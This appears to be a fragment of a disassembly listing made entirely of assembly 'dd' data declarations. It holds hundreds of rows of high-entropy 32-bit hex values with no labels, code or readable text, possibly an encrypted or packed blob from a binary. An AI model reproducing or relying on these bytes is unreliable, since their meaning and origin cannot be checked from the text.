		dd 0F7ECE6DEh, 0BB021F41h, 3126F422h, 6242630h,	8936E3E9h
		dd 7E6C0E48h, 7916B09Ah, 0B040D1ECh, 846FD851h,	4A1C28CDh
		dd 196B69A0h, 4037A404h, 966DE60Dh, 0F80417BFh,	661C031Bh
		dd 0A9222EB2h, 0A0E400E7h, 4B4E743Dh, 0DA12957Ah, 1C61D444h
		dd 1EF4D7CDh, 0F1B850DFh, 86941650h, 2C4C0240h,	0BCA28E6Ch
		dd 448C1E8h, 4C002B41h,	8D929014h, 31676605h, 0B93088F5h
		dd 6386108Ch, 0FDB0A992h, 5D7A0D0h, 527BB97h, 52AC041Eh
		dd 840E4491h, 62FDC8Ch,	64E0AA7Eh, 79004183h, 0DF9A7316h
		dd 4BC669Bh, 24FC1B7Dh,	45F08C2Eh, 6188F6C0h, 4A65F6h
		dd 24A3CB27h, 7C2B5386h, 0A8CA9C2Eh, 13106351h,	0FC09F771h
		dd 32E38807h, 0E2F04180h, 0C2860017h, 0BB00A33Ch, 9A88E318h
		dd 293579Fh, 0E6DCC365h, 0D0A03FE4h, 1CFF9868h,	20E22628h
		dd 8D027B00h, 0BB9A5F7Fh, 0E884A92Bh, 880F4072h, 7A0A44Fh
		dd 0A5B5BC8Bh, 0CFAADF05h, 0D8603F7Ah, 126877FFh, 8908E409h
		dd 5CDC2044h, 18CEB73Bh, 83193EFAh, 9F2400CBh, 0CF52A04Eh
		dd 0F0A634C1h, 291F0A30h, 0B9B4C35h, 34FCE9C2h,	0E40D5432h
		dd 0EC401A1h, 2690203Ah, 17483218h, 0C3C719h, 0AA68E61Fh
		dd 190758C1h, 9901F300h, 0E473DFFBh, 69D3132Bh,	0BEB0029Eh
		dd 80EC0E1Bh, 5E9CD17h,	7EB7420h, 13DC009Eh, 0AA72504Dh
		dd 0B30931F4h, 81E3CE5Eh, 9004CB3Ch, 0E11D041h,	0F1244023h
		dd 8E470934h, 69C01C2Fh, 0C1C952D0h, 508F020Bh,	4D1084E8h
		dd 64FABC92h, 0D8273C68h, 39CA5A83h, 0A8E9EB0Dh, 0AC6313h
		dd 0F1C3CF42h, 71283F5Eh, 0A71E0509h, 0D98FB3EDh, 0F0329510h
		dd 0E9CB2498h, 1F6BC900h, 3AAE4BBDh, 0AA00D376h, 7F3F94ABh
		dd 0B8C09DEFh, 32727833h, 0DF4F12B9h, 2300C969h, 0BE0776B0h
		dd 84B510C1h, 0D4980EC4h, 3B8B3FDh, 732619D4h, 89E597B1h
		dd 20851EC1h, 5D90F894h, 22C80030h, 2C7FB7D5h, 0F60A45DDh
		dd 901B6C9Bh, 0A003511h, 2CB40216h, 8496917Ch, 8E98EC0h
		dd 0EC61C7E2h, 0EAF98C93h, 86749B4Ch, 246E6B11h, 15CC971h
		dd 53FCC4B6h, 0EAB860F0h, 38A33409h, 33CC3073h,	0FB741F13h
		dd 0F8559F84h, 318B4849h, 0B027148Fh, 0A2EC143Dh, 6B07723Ch
		dd 6469891Bh, 0B291BC80h, 0B974F9h, 98A86D9Fh, 24F44E68h
		dd 20C0A378h, 0BEB3D01Fh, 7CFAF620h, 537308C2h,	15009FB4h
		dd 0FB86F759h, 0FAFC00E1h, 626F7E93h, 7503E024h, 5C2AA2F0h
		dd 0B661004Eh, 76CA71EAh, 0A50021CEh, 4C97E623h, 14E778Bh
		dd 32C9D610h, 0E9A74FF6h, 9F808067h, 80BE7F4Dh,	10BB601Eh
		dd 0D24972C9h, 58A34700h, 2EBA2DB0h, 68BE0004h,	0A44E094Bh
		dd 79600C52h, 0FE53FF80h, 87B9066Dh, 0D915068Bh, 43095700h
		dd 0BAC6C298h, 9660002Ch, 9AF889A1h, 21F6F038h,	8B30A8F0h
		dd 0BBE2896Fh, 0E3030A61h, 80807955h, 2FCA42E6h, 1E2AFB1Ah
		dd 0DE449490h, 75E7F9Ch, 457039F1h, 0F8783055h,	0E73038B3h
		dd 94C0600Bh, 0A00913D6h, 0CB18EA26h, 3B4F59h, 506535BBh
		dd 0F95CCFF6h, 90E15E01h, 66629C30h, 22F030h, 0FB3D5191h
		dd 3824A1B4h, 40A2DF30h, 0A49B5CA9h, 75692264h,	0E07A2419h
		dd 5EE09629h, 3FA87DDEh, 4B1C764Fh, 0FFA38014h,	5DC07BA0h
		dd 0A631F300h, 5F9739Bh, 3CA0A8B0h, 322A00A8h, 2DE4EA9h
		dd 48005DE6h, 0D659C351h, 38AED0A1h, 6EA0085Fh,	0A2055E70h
		dd 0BB602A05h, 5777D030h, 0F89060EFh, 3784486Fh, 0AB84600h
		dd 4F1F5A24h, 0E8CA012Bh, 1A7E1C21h, 66C4896h, 9E9198A8h
		dd 9851DE00h, 83B1F7D6h, 0B720029h, 3BE150F1h, 0E1C41760h
		dd 80051547h, 0A6884073h, 54E86AFBh, 0EDDB380Dh, 94009874h
		dd 80A35A22h, 84AEAA92h, 6B993C80h, 0B9006CF8h,	2E33506Eh
		dd 0C4A98DCh, 0A24CCE05h, 0AD396629h, 759D03F1h, 0C85DDD4Eh
		dd 1FC076D1h, 0F090C3A2h, 98839C58h, 0A51C5977h, 63C3B0FFh
		dd 0F8704C27h, 97A4EF5h, 0F32DED24h, 0FA566C02h, 0F2E59CA0h
		dd 0B0004169h, 80437276h, 18420F9Dh, 0A9EAD989h, 6F016BEDh
		dd 0D31A1F9h, 0A56002FBh, 47940261h, 13F32475h,	0F6B28C81h
		dd 0BA6D03B9h, 0F72B4163h, 3C3020h, 0C3485952h,	88032B8Ch
		dd 0E989200Fh, 8820928Fh, 1721842h, 7CA27305h, 0F077BEA7h
		dd 13544B12h, 18814D8h,	0C6B500FCh, 2B7C87ADh, 4C30C8D1h
		dd 0DAA49A6h, 2CEF000Bh, 0F7C239B7h, 0FCA69D3Fh, 56F8A906h
		dd 309245h, 770420E6h, 0AC494DCh, 0E733C000h, 0C53342Ch
		dd 52A218C3h, 5403F15Fh, 13F86706h, 3E9BC56h, 533FB681h
		dd 0F6E86B9Bh, 3D76F1FDh, 0B106A218h, 0F8EEAEB1h, 0BD250799h
		dd 0F9986118h, 5E12BD00h, 94A66566h, 0AE6056E8h, 4C8A07C9h
		dd 240F001Bh, 98146E80h, 6005021h, 5B3D27A7h, 0A8F2A4B2h
		dd 6F24F1E4h, 0D6207118h, 0AD0DEBD8h, 51C04C72h, 51AE8B67h
		dd 0E14A07A9h, 0F35E2AA6h, 0E9B3BD92h, 767DC2F0h, 0EDD9D9C7h
		dd 18C54B70h, 0C48A5658h, 0B0FDF100h, 0D0237542h, 6CBE9301h
		dd 0AF1D30F3h, 1CCB5C34h, 2A8174DBh, 8280339Ch,	54F8D159h
		dd 2500F050h, 0FBC55298h, 395CC8AEh, 7A806918h,	0F7CC8CC0h
		dd 0A4AAF5FDh, 738A0B8h, 0A1544h, 90CCF1A0h, 189D8184h
		dd 862C7B00h, 0E3DDFA76h, 22251503h, 905180A3h,	0E52CD700h
		dd 0CD007B4h, 0C61274F7h, 6B30D9C0h, 5CCA977h, 4DB20025h
		dd 0B9C35B85h, 49C0A84Ch, 6137573Ch, 0A01500C1h, 0B6487596h
		dd 2B001343h, 23F70DFAh, 0AEC05D5Ah, 0C0CEB08Ch, 55A0B6B9h
		dd 8F00DF7Bh, 0DE44112Ah, 8BFC85h, 1B747781h, 0B28287B1h
		dd 0F43D8C24h, 830B424h, 0A0A6791Dh, 0F8819668h, 7B240925h
		dd 0E4837CDCh, 2118B321h, 6771B606h, 861400F4h,	0E476E27h
		dd 64613715h, 0A0B55378h, 70E0B058h, 75430495h,	0D9484516h
		dd 0E51C21B8h, 0D3B80092h, 1D8C0058h, 0B6722865h, 7B0184F2h
		dd 0CF3F75AEh, 0FC4CA40Dh, 9042039Eh, 0A213E41Eh, 60C81CA9h
		dd 79038E5Bh, 0EA2E3041h, 8057BA4Ah, 7CD6430h, 0F455009Ch
		dd 0CBDCC2D2h, 0CE481B0Ch, 66E8040Dh, 6CDDE1DAh, 845D885Ch
		dd 0B028378h, 86F41DA9h, 4FB0C1C3h, 1745036h, 47759A6h
		dd 37919F71h, 0B2223Ch,	9375D085h, 5DAE749Ah, 48C81407h
		dd 0FDA0CD94h, 29766D07h, 44FC870Ch, 0CDC15E14h, 7DA91A41h
		dd 0CB15DE8h, 0A15EF421h, 972E5121h, 8316A494h,	14033804h
		dd 30F6900Fh, 0D677FCFCh, 0B320111Ch, 81A64C48h, 76092A84h
		dd 82C1E878h, 7505A512h, 0A580DC63h, 0FA7384D0h, 318400F3h
		dd 10236D8Ch, 8AF45166h
		dd 7F2F350Eh, 4AC6000Bh, 5D9D6C86h, 93C46CF5h, 0C0085465h
		dd 9CC6CF41h, 271800C9h, 47B9B40Eh, 1704B084h, 1F5B5A82h
		dd 685D6490h, 0C6290471h, 88564DE6h, 55004BACh,	12CC5E0Ah
		dd 0F6EEE233h, 2DE90B30h, 80902F7h, 2281B024h, 5227209Dh
		dd 0B21C9C13h, 64C0EA0Ch, 81891642h, 4D832676h,	267C01DCh
		dd 44F1201Ch, 0AE9891F8h, 0B0621478h, 6AEA01E3h, 609F6195h
		dd 470FEBC4h, 0CB24FD0Ch, 5280A0E1h, 987F4F6Ah,	90B17C2Ch
		dd 0E0B25130h, 0E212AC63h, 83503079h, 0FF30F44Eh, 0B698B9A6h
		dd 7A120AECh, 26FC9AD6h, 9C6380A8h, 0FCB2A446h,	1F1EE84h
		dd 5E40B598h, 0D43B68F8h, 0FA25DE80h, 410C324Bh, 1470297Ch
		dd 2DDC0092h, 0BAA419BDh, 80CEEA62h, 0E851F110h, 70A062h
		dd 0E129E301h, 0A9EC4760h, 8B00937Fh, 0E04330B9h, 2799482h
		dd 0C177D74Fh, 0FC8BA99Ch, 2CF14018h, 242C0B50h, 94A8E3F2h
		dd 0A11703BEh, 0E82006B6h, 0E502937h, 0DE2A41D3h, 0DCE524C2h
		dd 3B4C4450h, 0B74BB060h, 79E91D56h, 0DD80C03Dh, 576AD5E8h
		dd 99D61101h, 0A74D5E9Fh, 7CC3980h, 59C5F07Bh, 750AE100h
		dd 897C9A7Ah, 762734BAh, 0F5B0219Ch, 0C4531249h, 207B94h
		dd 8A960F16h, 0E9766628h, 189B4A7Eh, 0FC3315h, 0F88D1B61h
		dd 6C59FD5h, 276FE85Ch,	8058B9ADh, 542E8028h, 9714D4Eh
		dd 563B0918h, 0AB8CACB8h, 0C0B49649h, 0F6BF7BF1h, 0E0A264BDh
		dd 90A440B3h, 41B565h, 91BA36E8h, 24737620h, 0FFD96F60h
		dd 965EF0E3h, 5312BBC4h, 0E1ACC83Dh, 57F44D04h,	14802893h
		dd 60192391h, 0E0D1C8C0h, 4B104C6Fh, 7688EC2Ch,	16E86680h
		dd 263302F9h, 0E4945A1Bh, 0D3A440B1h, 3EECD9h, 2D433FCh
		dd 0A534C8A6h, 2A559214h, 0C740D4F8h, 0C920CA39h, 83033h
		dd 0C06F4E9h, 5352B741h, 813FD500h, 0DD0B6E35h,	9A02FE20h
		dd 209C4BE4h, 0B395ACCh, 809E4F3Bh, 0DB225C0Dh,	291AA545h
		dd 41E094A7h, 807021A8h, 528846D9h, 39DE25FBh, 0B68ACA58h
		dd 42707B35h, 0EC6C69A9h, 481AA803h, 18A0D98Ch,	2AA5DA81h
		dd 0E5044BFFh, 8727D3B0h, 63748090h, 0F0A94D71h, 5F546A20h
		dd 1A4D80D8h, 73B800CCh, 1B3652Fh, 0E702041Eh, 0DC71C6C4h
		dd 0D6027B50h, 0BEAC14DCh, 26386FA8h, 0D5F1007Ch, 2A15E8E5h
		dd 0C4665509h, 0CB68618Ah, 6A838184h, 45109879h, 80CC554Ch
		dd 339D0768h, 0C1FB070Fh, 3073E8B9h, 16D56E21h,	740AD305h
		dd 0C831AC7h, 4DC90F90h, 2033D952h, 0F957B208h,	0A120AE00h
		dd 0B5F0268Eh, 9C2407B9h, 92DF2FD6h, 64A097DEh,	75F4B45h
		dd 0B212189Ah, 0D444B8F8h, 6C892AF1h, 9E7AB436h, 0AA560C40h
		dd 0F5F8A1B9h, 0D531B800h, 81D38406h, 578C123Fh, 7E68206Bh
		dd 79005AA3h, 0ED1EF348h, 0A6BE804Bh, 0ECEC4EC8h, 0B24D007Dh
		dd 0F8E83C86h, 44A5580Eh, 6A256904h, 40D487A2h,	281C2BDEh
		dd 30B5B92Ch, 6F3C2184h, 0E016830Bh, 5D718505h,	0E0619D64h
		dd 0B0397024h, 8D909213h, 0E9BC7058h, 742C1498h, 0A360800Bh
		dd 0F5E3A6CAh, 248AD0h,	794461B1h, 0F55889B0h, 0E6F7E002h
		dd 9312B2F0h, 0E57288A4h, 0F31A12EEh, 0EB084976h, 53FFE460h
		dd 389E7071h, 931D90E2h, 80FD8050h, 4EC713CEh, 36F0308Eh
		dd 0FF1D8BCAh, 0D90DE8F4h, 13C0A999h, 23D5A072h, 59780025h
		dd 741C2E05h, 53012080h, 77FD8971h, 82727ADh, 40EC562Eh
		dd 0F5F4DAE7h, 68015C00h, 0C61CD8F1h, 5D20002Bh, 0D480E61Dh
		dd 789C0612h, 6E6153C0h, 40DC96DCh, 0C0D37C5Dh,	0F8D59502h
		dd 48A5FD24h, 666CA81Ch, 884D2978h, 0E708C8B1h,	65F18213h
		dd 500AA1F8h, 0DE0F1202h, 0EFF02A2h, 0D722A02Eh, 25253B87h
		dd 8813C063h, 50786AC8h, 0A32E3C02h, 40FC8486h,	113F5A0h
		dd 0B7D5A9A2h, 58BA3B8Bh, 0F771B2C0h, 0F85884AAh, 22BD550Bh
		dd 0A6A484F8h, 0B0D73347h, 26F4B3B0h, 803AEC0Ch, 0F2A37968h
		dd 737A0EF5h, 6AE493Bh,	0BAAB7763h, 4F57DF80h, 0EBBE0B01h
		dd 7DC42992h, 7187F3E5h, 90FEF978h, 74BFACDDh, 0A311FC9Bh
		dd 4A0A502h, 0B871533Dh, 2C62F180h, 0B4556BB5h,	0B72940E8h
		dd 0C100C407h, 13099EBEh, 0F8A11F0Bh, 0F01B1242h, 46E80B99h
		dd 0BCD5888Fh, 0C0A49424h, 4DEFB2ECh, 355351CFh, 0ABB60080h
		dd 0C06ED528h, 93E60266h, 85A35C2Ch, 40D7F4E3h,	3426778Dh
		dd 6C40805Ah, 1D66A4AFh, 147D1760h, 8D6C35A1h, 687A600Ch
		dd 4287A200h, 0F6CE1351h, 60DF5D66h, 0D890568Bh, 0F401FA40h
		dd 68926BAEh, 0EC39211Dh, 8FC0584Ch, 331681C5h,	37A43100h
		dd 267DE1F7h, 44634B24h, 22B679E8h, 636E20B0h, 0F40E5A49h
		dd 80AF3DEBh, 5F9839ACh, 0E47C4C64h, 7A254EC1h,	15C714AFh
		dd 4924F1FCh, 1C7C581Fh, 0D4ECC359h, 4A21A8DDh,	0C607B411h
		dd 90D049D5h, 46B21178h, 5C14213Fh, 0F392DE60h,	9FDBCC9h
		dd 3CD1FF12h, 6361384Fh, 79601D9h, 5A3F0336h, 0B72830C6h
		dd 94B84205h, 0E8205548h, 9CF6DBh, 0A7B681B9h, 4518F022h
		dd 5AE25902h, 0E9BF16FEh, 5410AD90h, 0DA07C201h, 0CC68B46Ch
		dd 3245EC70h, 0BE551E34h, 820EEDBh, 4F09C822h, 30DC942Ch
		dd 0A0C16EDDh, 9CD9A6h,	1981B180h, 3F321Ah, 33088B7Ah
		dd 350B8E6Ch, 0F8F1AD13h, 77F05C00h, 3C89B1B0h,	622719CAh
		dd 3CC0341Ah, 418A7198h, 0C430DDB4h, 0DF7C00B7h, 27A4D74Eh
		dd 0C3016D6Fh, 3637A598h, 883744B3h, 13FE4D00h,	0BF144698h
		dd 0BAEEB215h, 0B09B2EACh, 61BB45C0h, 52F65AB2h, 621C0178h
		dd 0DB06A28Bh, 6B2AD900h, 0EE097870h, 327D28h, 0F448E2F7h
		dd 0E671B640h, 11343CF3h, 3B11D8EFh, 6AA813A6h,	3F09860h
		dd 6D11C057h, 52F40644h, 601D7526h, 78905422h, 498A90B6h
		dd 56E594DDh, 0ECB0CB4h, 0DF3CD980h, 0BDCD3442h, 9EA3B861h
		dd 0BA808249h, 0B572D74Fh, 6021850h, 0E461D9EBh, 33761900h
		dd 96A64921h, 1280135Ch, 926062F7h, 0AC90ECEEh,	2B545E00h
		dd 0F27887E5h, 0F05624F8h, 1D1B8070h, 1F793D81h, 7E767409h
		dd 336CC0B7h, 4440B8D8h, 0CC0BC1B4h, 0FE42CD2Dh, 0B69E0181h
		dd 0F3FA6526h, 68724982h, 4AA85944h, 7748251Fh,	33DD11E4h
		dd 80787872h, 56B9F17Bh, 0AF060003h, 0DDF877C7h, 270299DBh
		dd 0FED1A66Ah, 3E8C8102h, 0F8D497B9h, 1EF0203h,	8ACEEEDAh
		dd 5F0520E6h, 0F6D50FB0h, 2815AFC0h, 0D6CB009Ah, 6CC3CC5h
		dd 0E1171B6Fh, 8C216BBDh, 162023D3h, 0C8FA1C49h, 326C00F3h
		dd 8C64544Eh, 0DE4BA80Ah, 0CF003005h, 0EF2358FFh, 0A3771E1Ah
		dd 49FD0A60h, 0FEC600AFh, 912A301Ch, 5BB7093h, 463FC531h
		dd 2E01B8E2h, 147A6358h, 75742699h, 0BCA4772Ah,	2C90F105h
		dd 0CC40BE87h, 1533B82h, 4C6272A8h, 1321B094h, 0F1037F91h
		dd 0BB4CD169h, 31841100h, 0C4D307D8h, 0C6990183h, 42AE22B5h
		dd 5EAC3044h, 2C96CBF6h, 0FC02F0CAh, 7DA4B2h, 5D5E866Dh
		dd 0DBF24308h, 27E800B8h, 3BE1F80h, 0A71BDEF0h,	25E16E8Bh
		dd 0E81E9710h, 41F9B209h, 9EB49192h, 57248011h,	0F03C90CCh
		dd 0B45F48E1h, 0B945AE0h, 8F59798Dh, 8857A804h,	197CEA64h
		dd 5BFAED01h, 47D9C192h, 40728C30h, 0F09153C5h,	0E1E36700h
		dd 98669121h, 0C55C2DFDh, 0BEA01893h, 64001D94h, 0B3D5F711h
		dd 4AECD421h, 3FC44051h, 181C8C9Eh, 99C71A1Fh, 0DD6C8602h
		dd 2760FB73h, 71109490h, 66183Dh, 0E68B2CBEh, 953D76C1h
		dd 3F1B030h, 90772527h
		dd 0BA293A34h, 3B1D2CD8h, 0E2F144B8h, 920E00C4h, 0C9DE42FEh
		dd 0A5A32419h, 0DB9B8808h, 0F281BC2Bh, 41391F4Ah, 71D49C4Dh
		dd 0AD0300C2h, 63709567h, 0EF3D0144h, 50A0812Fh, 1BA158DEh
		dd 547D6F60h, 4C2CCC20h, 843B7F95h, 14A43A87h, 64F49A48h
		dd 0EEF77146h, 0D0537192h, 0C67E55C4h, 0FD01A4F6h, 0F904AB60h
		dd 0EAD43DB9h, 61BA25C5h, 0A36EC866h, 3475B1D8h, 0B34978FEh
		dd 7849297Ch, 472C09h, 4AAC9698h, 0B114B42Dh, 0CAD4AAE0h
		dd 10E62860h, 31B70C2Dh, 0B8485300h, 0F452EEBFh, 0DD0F00D6h
		dd 0CDCA6228h, 5B09A360h, 66F29929h, 64F25DCh, 0E2603448h
		dd 0FF0BCF00h, 757DA8D1h, 0E04D24DDh, 0D0AA18E4h, 1882D8E7h
		dd 89AC5Ch, 0D51792FFh,	8F9D67Dh, 8276667Ah, 0B6F876F0h
		dd 0AC03DA7Ah, 6C8A0BB1h, 0AE1903D7h, 0E10C377Eh, 25D484EAh
		dd 1CD15C00h, 3BDFE296h, 328EFD02h, 834A6489h, 7EB1011Ch
		dd 0C05F8846h, 0D10F9118h, 8082D663h, 9F9444A0h, 159A01BAh
		dd 1E3E53AAh, 85B07FA2h, 40B76059h, 0D12B4D5h, 0F705B0DEh
		dd 442065B6h, 5A40108h,	2F55B6Ch, 0A65BC727h, 78183126h
		dd 51487E88h, 0FFC30058h, 55B92959h, 79008194h,	8F31B650h
		dd 1CBAEFCEh, 395EE05Dh, 5490A8h, 46872B20h, 59A3846Bh
		dd 8BF45B09h, 8952871Bh, 30618556h, 94B1B1BEh, 0A400FAB9h
		dd 0C5DBA97Ch, 0CCF8BA0h, 5D576E7Fh, 782A7970h,	70E90DDh
		dd 471DA884h, 28CA672Fh, 20490D0Fh, 0C156F20Bh,	4E3C00A5h
		dd 0C6EB36D6h, 0BB56E924h, 3881584h, 449488C0h,	562603ADh
		dd 69A11E7Ch, 21601AD6h, 130FB002h, 1008F520h, 5B980FA4h
		dd 0DB82A9DFh, 18485E56h, 8C01074Ch, 47AD960Eh,	0E04D4A38h
		dd 3C3E67E0h, 0BF008A4Dh, 0A382B5F3h, 35338CE0h, 0D064418Bh
		dd 1879A0ADh, 38BEA4C5h, 8E613B8Ch, 0C2B2D621h,	12E7E9E0h
		dd 28F12D89h, 48F98B2Ch, 5F88B5B8h, 342B07BAh, 0B01CE9BCh
		dd 2D56B4E1h, 15004578h, 940B67C6h, 0F09B438Bh,	0B8A07BB5h
		dd 0A06A60D7h, 0BC8FD1Bh, 78A160C2h, 208CAEEAh,	92E5FFECh
		dd 34120099h, 20FB6DB9h, 5E005789h, 0D39BF8F5h,	493C8CD6h
		dd 980A885h, 844EEBA4h,	0BF6AAE0Ch, 773A9B2h, 4B5A928Ch
		dd 9843730Ch, 0E31A2AC0h, 9449E603h, 0E8731CC4h, 0CA032D13h
		dd 40E499F1h, 0E9053C4Ah, 84B69503h, 18B40C26h,	81895659h
		dd 0E704CE83h, 4F5C36E9h, 3523E2C0h, 0EDB01248h, 840409C7h
		dd 8EA8C402h, 0CE6E8901h, 54BE6194h, 67BB790Eh,	0DBEA1283h
		dd 0B62344F8h, 0D7E17A0Eh, 9A8E227h, 559C9422h,	0D0CBCC87h
		dd 5C997h, 7C1230Fh, 0EE79A826h, 371117Bh, 0E085D800h
		dd 177C2FD2h, 9295242Bh, 84560CA8h, 0D8E51DC9h,	0D1242464h
		dd 83405CBEh, 4C3F08Dh,	4C940D31h, 0BE2082A1h, 0E64D8490h
		dd 24F14F00h, 81873788h, 0AFE80094h, 8FC50915h,	84388CF0h
		dd 0FD0C0CACh, 6608B9h,	99D3CC94h, 0D6186A65h, 92004498h
		dd 767F3AE3h, 190EB0EFh, 31A22219h, 1CD36091h, 1DBCA400h
		dd 0D7628C4Fh, 0A0DA0759h, 6182FE3Ch, 0C0BFFFEAh, 4E00660Bh
		dd 9E6A0F97h, 0E89309h,	67E7CBF7h, 0C2FE9F8Ch, 1F47E400h
		dd 0C5776B7Ch, 69B260FAh, 0B449FC5Eh, 0D0E24D00h, 5A95A7A1h
		dd 0C5750172h, 0A9A4E02Bh, 11E0EB1Eh, 9F6ADC19h, 0A100A839h
		dd 96833A4Ah, 605905E8h, 208D67DFh, 0F090875Ch,	888E9A2Ah
		dd 0E32C771Bh, 408C0B0h, 9192007Ah, 0F23B9565h,	6F3E3F18h
		dd 0D6588D83h, 0A106C0A4h, 47D35831h, 4A18C600h, 0F63B731h
		dd 2C0018DCh, 1C1A99F2h, 0A1A560DCh, 379E2685h,	0D88EB63h
		dd 0B9C122ACh, 61D12C88h, 3F622207h, 0D0C6875Eh, 0DA310019h
		dd 29010D27h, 77002F9Fh, 0FBB38C38h, 483B86h, 1EDD2069h
		dd 9E727932h, 0FAE8DCEDh, 0F7B8B860h, 0DD8FB680h, 93DB00F9h
		dd 3A3D05A0h, 8494AF0Ah, 640AE4C8h, 0B74078F6h,	0C265EA3Bh
		dd 0B8DD1938h, 41B45884h, 0F815C198h, 4F1AE4h, 7875F018h
		dd 95CDC294h, 4DC544Ch,	92813E60h, 28B7048Ch, 222CE380h
		dd 9170A223h, 1E76DC0Ch, 7D961A5h, 4DB0971Dh, 0EC82183h
		dd 0CF80D8E7h, 9D1987F1h, 8CE7B913h, 300A8181h,	4F151710h
		dd 9590ED04h, 73C0F9D0h, 6036C824h, 6C8C2083h, 8F00CA7Dh
		dd 2051B404h, 0AF0D4Bh,	0F7559009h, 73BB6C6Bh, 3604CF7Eh
		dd 0B68397CAh, 0D80A1E83h, 0F79020h, 778B9826h,	59C3E7D3h
		dd 3839CD0Ch, 7D286184h, 1C5D0079h, 89F0F5EDh, 33032369h
		dd 3F4FF7CEh, 4C34F83Bh, 0EBC7E7Dh, 0F8D6779Ah,	9008F0BCh
		dd 6630D2DEh, 0D3BED168h, 6F2B0070h, 5AAF5988h,	5E0FA7E0h
		dd 80B8F562h, 0F72823B7h, 0C1150C02h, 84F86878h, 694B4500h
		dd 4398CF87h, 7AAE3160h, 507FF2A1h, 0DEE7889Ch,	6F490100h
		dd 0A947C1C8h, 3A3C0EEBh, 6124FCEh, 395D38B0h, 0D807E77Ch
		dd 0B5341820h, 65AB6F40h, 76BF0146h, 8493D6CEh,	3C88D03Bh
		dd 0B0607060h, 0BC6BADh, 300C8E50h, 0D523B817h,	6F11BB00h
		dd 885A11Ch, 43A60015h,	6EA65AAh, 40FCB941h, 80A7703Dh
		dd 0E2D34FBEh, 1EE322A4h, 13FFF79h, 0D418F04Bh,	0E050802Bh
		dd 0F250EECh, 0A27A00A8h, 0FA31EFB2h, 3001A11Bh, 0D321C558h
		dd 3080D535h, 47C3341Ah, 260ABCFEh, 4C46328Bh, 8EFC00Ch
		dd 5AB002Bh, 77B90C51h,	0F21DE7E6h, 200D66Ch, 86A14FE8h
		dd 58C964D5h, 0FEC05D33h, 43200EFCh, 53360013h,	69281A67h
		dd 0AE3C2F32h, 0F35D9875h, 61D246C0h, 54E4393Eh, 9045D89Ah
		dd 6810100h, 53380FD9h,	0B6550FF1h, 50002AE6h, 0B5EAA86Ch
		dd 80D5243Eh, 21C12810h, 0E9553318h, 3A41C180h,	0D3131A82h
		dd 12613267h, 447A5090h, 5E1600F7h, 39D0A285h, 80032FA5h
		dd 5653AD1Dh, 169808E4h, 979D997Fh, 0B1CAD802h,	29B4A0C7h
		dd 65399Dh, 3A60F3Eh, 0A809AAFh, 153FF00h, 35A18EF9h, 0C98DE31h
		dd 8639C591h, 153DBC00h, 9937DA8Bh, 0CB2900DDh,	3155FBE5h
		dd 5702F711h, 9DC5BDD2h, 0D3C0A3FEh, 0B189003Ah, 0A6433EEDh
		dd 0A000653Dh, 0F41FBB64h, 0C992435h, 1769EB39h, 0A354C690h
		dd 0F1182B84h, 0DF81C8AFh, 7F2FCF3h, 73A048DBh,	5329AC2Fh
		dd 0C942F900h, 30029A1Fh, 0E619C01Dh, 145F282Dh, 4D6C1C00h
		dd 0E0B57318h, 35CF1E7Eh, 0DC29F030h, 74002E1Fh, 0D157990Ah
		dd 0B8BA73C2h, 0F23818CBh, 0A90298D0h, 3CCCC322h, 4C8050E5h
		dd 0F66CF7F8h, 0AA078C10h, 0D29EFDEAh, 0E862E3D3h, 0E05740ACh
		dd 0A829F448h, 0F4F7284h, 0A06AEC24h, 977B4080h, 4400FC62h
		dd 4A5AF5EAh, 933439Ch,	0ADD8C251h, 24169830h, 20499A64h
		dd 52F18C98h, 243AF0A6h, 0C228849h, 28D24B19h, 3E0DC39h
		dd 6C9400C2h, 8608CCA1h, 29001449h, 0E4C5070h, 4C5EDAFh
		dd 39A0A831h, 2B1493DDh, 50CBA3D1h, 0B60B1880h,	0D4C352h
		dd 0BF81A920h, 72A7F713h, 5332193Dh, 0D92F2125h, 0F1242598h
		dd 0C0D4221Dh, 0A1C20EB7h, 7AA500BBh, 6FA27EA6h, 270C6E6Bh
		dd 28C82BFDh, 9C1B1830h, 0CF3FE9B7h, 2DEAA100h,	0FA9997B2h
		dd 7D350EC5h, 1240CCB3h, 7A743E22h, 6441B600h, 55453A92h
		dd 2B2D0498h, 97CB3176h, 40205438h, 0B08D1E45h,	9B1F8D8h
		dd 0C015596h, 0F9789001h, 0A3A0D0A8h, 1CC5300Ch, 0A8FCE0B1h
		dd 8C997CCCh, 0C9E91C10h, 0BF3EB121h, 7FA70748h, 8B1078A5h
		dd 72F8F2A6h, 4C017102h, 30764A8h, 0D04BDA48h, 0C261462Ch
		dd 0FBE74501h
		dd 1827FAF8h, 7138E4h, 0A8B352F1h, 45498E87h, 0B4F024h
		dd 69BB4062h, 0C50F168h, 0E9F0BD20h, 0DBBB5700h, 9E745C00h
		dd 0E4CBA6FCh, 0BF210649h, 300BC91Bh, 6916B51Ch, 80903054h
		dd 4533140Eh, 0C42A1488h, 6A0AB08Dh, 32AC480Ah,	58647330h
		dd 286047E8h, 22A24839h, 0CE1D2643h, 0D93A80FCh, 4A9E1A6Bh
		dd 98CCED00h, 7248C48Eh, 153726B5h, 41803A0Ch, 0ABCDE061h
		dd 0A7487199h, 0D4861448h, 60903DDCh, 267CE5D9h, 0FB3C3862h
		dd 0F4816700h, 4B090E53h, 2F4A6001h, 9E915E44h,	0FF9B3180h
		dd 30F763B4h, 0C937F4B8h, 1576181Bh, 38E900B1h,	2A595210h
		dd 51C82A9h, 86C3F970h,	0C01201AEh, 0FC31A418h,	0C8EF064h
		dd 0B0F8FC6Ch, 0B8909860h, 27D322h, 0AE84F1C8h,	5C321F10h
		dd 390D7500h, 0CE1A1587h, 38E97E01h, 0A800A49Ah, 0D520BB3Dh
		dd 62EDF591h, 0C41E380Ch, 98703216h, 60C1F859h,	2C1CD0Dh
		dd 0C07D2529h, 71E60F36h, 56CA5C07h, 4010045Dh,	0B025D3AEh
		dd 699A09FAh, 80209B85h, 0C2DFA8AFh, 6AF80150h,	419AA706h
		dd 2420D30Ah, 40E45532h, 0FB657234h, 0A0F42726h, 9E4571C1h
		dd 8B22C4h, 0C31E320Fh,	41A072D0h, 69D54230h, 0FE9FE6C6h
		dd 68275050h, 387F5661h, 33055121h, 896C0Bh, 0A07ED3D0h
		dd 3AC424DAh, 180294AEh, 721BD6A7h, 15070CE4h, 8BFF3248h
		dd 23A5A2D0h, 615FEAC6h, 911848E1h, 4751809Bh, 760BCD90h
		dd 67280069h, 21578DE6h, 84AA1B79h, 8B050C1h, 0D1E902B3h
